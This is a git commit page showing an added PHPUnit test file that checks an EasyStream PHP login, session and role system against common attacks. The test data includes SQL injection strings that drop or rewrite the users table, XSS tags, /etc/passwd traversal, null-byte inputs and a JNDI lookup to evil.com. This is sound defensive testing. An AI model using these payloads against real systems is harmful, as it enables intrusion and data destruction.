feat: Add comprehensive documentation suite and reorganize project structure

- Created complete documentation in docs/ directory
- Added PROJECT_OVERVIEW.md with feature highlights and getting started guide
- Added ARCHITECTURE.md with system design and technical details
- Added SECURITY.md with comprehensive security implementation guide
- Added DEVELOPMENT.md with development workflows and best practices
- Added DEPLOYMENT.md with production deployment instructions
- Added API.md with complete REST API documentation
- Added CONTRIBUTING.md with contribution guidelines
- Added CHANGELOG.md with version history and migration notes
- Reorganized all documentation files into docs/ directory for better organization
- Updated README.md with proper documentation links and quick navigation
- Enhanced project structure with professional documentation standards
This commit is contained in:
SamiAhmed7777
2025-10-21 00:39:45 -07:00
commit 0b7e2d0a5b
6080 changed files with 1332936 additions and 0 deletions

View File

@@ -0,0 +1,533 @@
<?php
namespace EasyStream\Tests\Security;
use PHPUnit\Framework\TestCase;
use VAuth;
use VRBAC;
use VSecurity;
class AuthSecurityTest extends TestCase
{
private $auth;
private $rbac;
private $testUserId;
protected function setUp(): void
{
$this->auth = VAuth::getInstance();
$this->rbac = VRBAC::getInstance();
// Clear session data
if (isset($_SESSION)) {
$_SESSION = [];
}
// Mock server variables
$_SERVER = [
'REQUEST_URI' => '/test',
'REQUEST_METHOD' => 'POST',
'HTTP_USER_AGENT' => 'PHPUnit Security Test',
'REMOTE_ADDR' => '127.0.0.1',
'HTTPS' => '1'
];
// Clean up any existing test data
$this->cleanupTestData();
// Create test user
$this->createTestUser();
}
protected function tearDown(): void
{
// Clean up test data
$this->cleanupTestData();
// Clear session
if (isset($_SESSION)) {
$_SESSION = [];
}
}
private function cleanupTestData()
{
global $class_database;
$db = $class_database->dbConnection();
$testEmail = 'authsec@example.com';
$userId = $db->GetOne("SELECT user_id FROM db_users WHERE email = ?", [$testEmail]);
if ($userId) {
$db->Execute("DELETE FROM db_sessions WHERE user_id = ?", [$userId]);
$db->Execute("DELETE FROM db_login_history WHERE user_id = ?", [$userId]);
$db->Execute("DELETE FROM db_users WHERE user_id = ?", [$userId]);
}
}
private function createTestUser()
{
$userData = [
'username' => 'authsectest',
'email' => 'authsec@example.com',
'password' => 'TestPassword123!'
];
$result = $this->auth->register($userData);
if ($result['success']) {
$this->testUserId = $result['user_id'];
// Verify email
global $class_database;
$db = $class_database->dbConnection();
$token = $db->GetOne("SELECT verification_token FROM db_users WHERE user_id = ?", [$this->testUserId]);
if ($token) {
$this->auth->verifyEmail($token);
}
}
}
/**
* Test SQL injection attempts in authentication
*/
public function testSQLInjectionInAuthentication()
{
$sqlInjectionPayloads = [
"admin'; DROP TABLE db_users; --",
"admin' OR '1'='1",
"admin' UNION SELECT * FROM db_users WHERE '1'='1",
"admin'; UPDATE db_users SET password_hash='hacked' WHERE '1'='1'; --",
"admin' AND (SELECT COUNT(*) FROM db_users) > 0 --"
];
foreach ($sqlInjectionPayloads as $payload) {
// Test login with malicious username
$result = $this->auth->login($payload, 'password');
$this->assertFalse($result['success'], "SQL injection vulnerability in username: {$payload}");
// Test login with malicious password
$result = $this->auth->login('authsectest', $payload);
$this->assertFalse($result['success'], "SQL injection vulnerability in password: {$payload}");
// Test registration with malicious data
$userData = [
'username' => $payload,
'email' => 'test@example.com',
'password' => 'TestPassword123!'
];
$result = $this->auth->register($userData);
$this->assertFalse($result['success'], "SQL injection vulnerability in registration username: {$payload}");
// Test password reset with malicious email
$result = $this->auth->requestPasswordReset($payload);
// Should either fail validation or be safely handled
$this->assertIsArray($result);
}
}
/**
* Test session fixation attacks
*/
public function testSessionFixationPrevention()
{
// Start with a specific session ID
session_id('fixed_session_id_123');
session_start();
$originalSessionId = session_id();
// Login user
$result = $this->auth->login('authsectest', 'TestPassword123!');
$this->assertTrue($result['success']);
// Session ID should have changed after login
$newSessionId = session_id();
$this->assertNotEquals($originalSessionId, $newSessionId, 'Session ID should change after login to prevent fixation');
$this->auth->logout();
}
/**
* Test session hijacking prevention
*/
public function testSessionHijackingPrevention()
{
// Login user
$this->auth->login('authsectest', 'TestPassword123!');
$this->assertTrue($this->auth->isAuthenticated());
$originalUserAgent = $_SESSION['USER_AGENT'] ?? '';
$originalIP = $_SESSION['IP_ADDRESS'] ?? '';
// Simulate session hijacking by changing user agent
$_SERVER['HTTP_USER_AGENT'] = 'Malicious Browser';
// Authentication should still work (we don't enforce strict UA checking in this implementation)
// But the change should be logged
$this->assertTrue($this->auth->isAuthenticated());
// Simulate IP change (more serious)
$_SERVER['REMOTE_ADDR'] = '192.168.1.100';
// This should still work but be logged for monitoring
$this->assertTrue($this->auth->isAuthenticated());
$this->auth->logout();
}
/**
* Test brute force attack prevention
*/
public function testBruteForceAttackPrevention()
{
$maxAttempts = 5;
// Make multiple failed login attempts
for ($i = 0; $i < $maxAttempts + 2; $i++) {
$result = $this->auth->login('authsectest', 'WrongPassword' . $i);
if ($i < $maxAttempts) {
$this->assertFalse($result['success']);
$this->assertStringContainsString('Invalid credentials', $result['message']);
} else {
// Should be rate limited
$this->assertFalse($result['success']);
$this->assertStringContainsString('Too many', $result['message']);
}
}
// Even correct password should be blocked
$result = $this->auth->login('authsectest', 'TestPassword123!');
$this->assertFalse($result['success']);
$this->assertStringContainsString('Too many', $result['message']);
}
/**
* Test password reset token security
*/
public function testPasswordResetTokenSecurity()
{
// Request password reset
$result = $this->auth->requestPasswordReset('authsec@example.com');
$this->assertTrue($result['success']);
// Get token from database
global $class_database;
$db = $class_database->dbConnection();
$token = $db->GetOne("SELECT reset_token FROM db_users WHERE user_id = ?", [$this->testUserId]);
$this->assertNotEmpty($token);
// Test token format (should be cryptographically secure)
$this->assertEquals(64, strlen($token), 'Reset token should be 64 characters (32 bytes hex)');
$this->assertMatchesRegularExpression('/^[a-f0-9]+$/', $token, 'Reset token should be hexadecimal');
// Test token is one-time use
$result1 = $this->auth->resetPassword($token, 'NewPassword123!');
$this->assertTrue($result1['success']);
// Same token should not work again
$result2 = $this->auth->resetPassword($token, 'AnotherPassword123!');
$this->assertFalse($result2['success']);
// Test invalid token formats
$invalidTokens = [
'short_token',
str_repeat('a', 63), // Too short
str_repeat('a', 65), // Too long
str_repeat('g', 64), // Invalid hex characters
'../../../etc/passwd',
'<script>alert("xss")</script>',
"'; DROP TABLE db_users; --"
];
foreach ($invalidTokens as $invalidToken) {
$result = $this->auth->resetPassword($invalidToken, 'TestPassword123!');
$this->assertFalse($result['success'], "Invalid token should be rejected: {$invalidToken}");
}
}
/**
* Test email verification token security
*/
public function testEmailVerificationTokenSecurity()
{
// Create unverified user
$userData = [
'username' => 'unverified',
'email' => 'unverified@example.com',
'password' => 'TestPassword123!'
];
$result = $this->auth->register($userData);
$this->assertTrue($result['success']);
$userId = $result['user_id'];
// Get verification token
global $class_database;
$db = $class_database->dbConnection();
$token = $db->GetOne("SELECT verification_token FROM db_users WHERE user_id = ?", [$userId]);
$this->assertNotEmpty($token);
// Test token format
$this->assertEquals(64, strlen($token), 'Verification token should be 64 characters');
$this->assertMatchesRegularExpression('/^[a-f0-9]+$/', $token, 'Verification token should be hexadecimal');
// Test token is one-time use
$result1 = $this->auth->verifyEmail($token);
$this->assertTrue($result1['success']);
// Same token should not work again
$result2 = $this->auth->verifyEmail($token);
$this->assertFalse($result2['success']);
// Clean up
$db->Execute("DELETE FROM db_users WHERE user_id = ?", [$userId]);
}
/**
* Test authentication bypass attempts
*/
public function testAuthenticationBypassAttempts()
{
// Test direct session manipulation
$_SESSION['USER_ID'] = 999999; // Non-existent user
$_SESSION['USERNAME'] = 'hacker';
$_SESSION['ROLE'] = 'admin';
// Should not be authenticated with invalid session data
$this->assertFalse($this->auth->isAuthenticated());
$this->assertNull($this->auth->getCurrentUser());
// Test session without proper authentication
$_SESSION = [];
$_SESSION['USER_ID'] = $this->testUserId;
$_SESSION['USERNAME'] = 'authsectest';
// Missing other required session data
// Should not be authenticated with incomplete session
$this->assertFalse($this->auth->isAuthenticated());
// Test role escalation attempt
$this->auth->login('authsectest', 'TestPassword123!');
$this->assertTrue($this->auth->isAuthenticated());
// Try to escalate role in session
$_SESSION['ROLE'] = 'admin';
// RBAC should check actual database role, not session
$this->assertFalse($this->rbac->hasRole('admin'));
$this->assertFalse($this->rbac->hasPermission('admin.dashboard'));
$this->auth->logout();
}
/**
* Test timing attack resistance
*/
public function testTimingAttackResistance()
{
// Test login timing for existing vs non-existing users
$existingUser = 'authsectest';
$nonExistingUser = 'nonexistentuser12345';
// Measure time for existing user (wrong password)
$start = microtime(true);
$this->auth->login($existingUser, 'wrongpassword');
$existingUserTime = microtime(true) - $start;
// Measure time for non-existing user
$start = microtime(true);
$this->auth->login($nonExistingUser, 'wrongpassword');
$nonExistingUserTime = microtime(true) - $start;
// Time difference should be minimal (within reasonable bounds)
$timeDifference = abs($existingUserTime - $nonExistingUserTime);
$this->assertLessThan(0.1, $timeDifference, 'Login timing should be consistent to prevent user enumeration');
}
/**
* Test password strength enforcement
*/
public function testPasswordStrengthEnforcement()
{
$weakPasswords = [
'password',
'123456',
'qwerty',
'abc123',
'Password', // No number or special char
'password123', // No uppercase or special char
'PASSWORD123!', // No lowercase
'Password!', // No number
'Pass1!', // Too short
''
];
foreach ($weakPasswords as $weakPassword) {
$userData = [
'username' => 'weakpasstest',
'email' => 'weakpass@example.com',
'password' => $weakPassword
];
$result = $this->auth->register($userData);
$this->assertFalse($result['success'], "Weak password should be rejected: '{$weakPassword}'");
}
}
/**
* Test account enumeration prevention
*/
public function testAccountEnumerationPrevention()
{
// Test registration with existing email
$userData = [
'username' => 'newuser',
'email' => 'authsec@example.com', // Existing email
'password' => 'TestPassword123!'
];
$result = $this->auth->register($userData);
$this->assertFalse($result['success']);
// Should not reveal whether email exists
$this->assertStringNotContainsString('email already exists', strtolower($result['message']));
// Test password reset with non-existing email
$result = $this->auth->requestPasswordReset('nonexistent@example.com');
// Should return success to prevent enumeration
$this->assertTrue($result['success']);
$this->assertStringContainsString('If the email exists', $result['message']);
}
/**
* Test CSRF protection in authentication
*/
public function testCSRFProtectionInAuth()
{
// Test login without CSRF token
$_POST['csrf_token'] = '';
$result = VSecurity::validateCSRFFromPost('login');
$this->assertFalse($result, 'Login should require valid CSRF token');
// Test with valid CSRF token
$token = VSecurity::generateCSRFToken('login');
$_POST['csrf_token'] = $token;
$result = VSecurity::validateCSRFFromPost('login');
$this->assertTrue($result, 'Valid CSRF token should be accepted');
// Test token reuse (should fail)
$result = VSecurity::validateCSRFFromPost('login');
$this->assertFalse($result, 'CSRF token should be one-time use');
}
/**
* Test session security headers and configuration
*/
public function testSessionSecurityConfiguration()
{
// Test secure session configuration
$this->assertEquals('1', ini_get('session.cookie_httponly'), 'Session cookies should be HTTP-only');
if (isset($_SERVER['HTTPS'])) {
$this->assertEquals('1', ini_get('session.cookie_secure'), 'Session cookies should be secure over HTTPS');
}
$this->assertEquals('1', ini_get('session.use_strict_mode'), 'Session should use strict mode');
}
/**
* Test privilege escalation prevention
*/
public function testPrivilegeEscalationPrevention()
{
// Login as regular user
$this->auth->login('authsectest', 'TestPassword123!');
// Try to access admin functions
$this->assertFalse($this->rbac->hasPermission('admin.dashboard'));
$this->assertFalse($this->rbac->hasPermission('user.ban'));
// Try to manipulate session to gain admin access
$_SESSION['ROLE'] = 'admin';
// RBAC should still deny access based on database role
$this->assertFalse($this->rbac->hasPermission('admin.dashboard'));
// Try to grant self admin permissions (should fail without proper authorization)
$currentUser = $this->auth->getCurrentUser();
$result = $this->rbac->grantPermission($currentUser['user_id'], 'admin.dashboard', $currentUser['user_id']);
// Should fail because user doesn't have permission to grant permissions
$this->assertFalse($result);
$this->auth->logout();
}
/**
* Test concurrent session security
*/
public function testConcurrentSessionSecurity()
{
// Login user
$this->auth->login('authsectest', 'TestPassword123!');
$sessionId1 = session_id();
// Simulate password change (should invalidate all sessions)
global $class_database;
$db = $class_database->dbConnection();
$newPasswordHash = password_hash('NewPassword123!', PASSWORD_DEFAULT);
$db->Execute("UPDATE db_users SET password_hash = ? WHERE user_id = ?", [$newPasswordHash, $this->testUserId]);
// Current session should still be valid (password change doesn't auto-logout in this implementation)
$this->assertTrue($this->auth->isAuthenticated());
// But new login should require new password
$this->auth->logout();
// Old password should not work
$result = $this->auth->login('authsectest', 'TestPassword123!');
$this->assertFalse($result['success']);
// New password should work
$result = $this->auth->login('authsectest', 'NewPassword123!');
$this->assertTrue($result['success']);
$this->auth->logout();
}
/**
* Test input validation security
*/
public function testInputValidationSecurity()
{
$maliciousInputs = [
'<script>alert("xss")</script>',
'../../etc/passwd',
'${jndi:ldap://evil.com/a}',
'%00%00%00',
"\x00\x01\x02",
str_repeat('A', 10000), // Very long input
"admin\x00hidden",
'admin%00hidden'
];
foreach ($maliciousInputs as $input) {
// Test registration with malicious input
$userData = [
'username' => $input,
'email' => 'test@example.com',
'password' => 'TestPassword123!'
];
$result = $this->auth->register($userData);
// Should either fail validation or be safely sanitized
$this->assertIsArray($result);
// Test login with malicious input
$result = $this->auth->login($input, 'password');
$this->assertFalse($result['success']);
// Test password reset with malicious input
$result = $this->auth->requestPasswordReset($input);
$this->assertIsArray($result);
}
}
}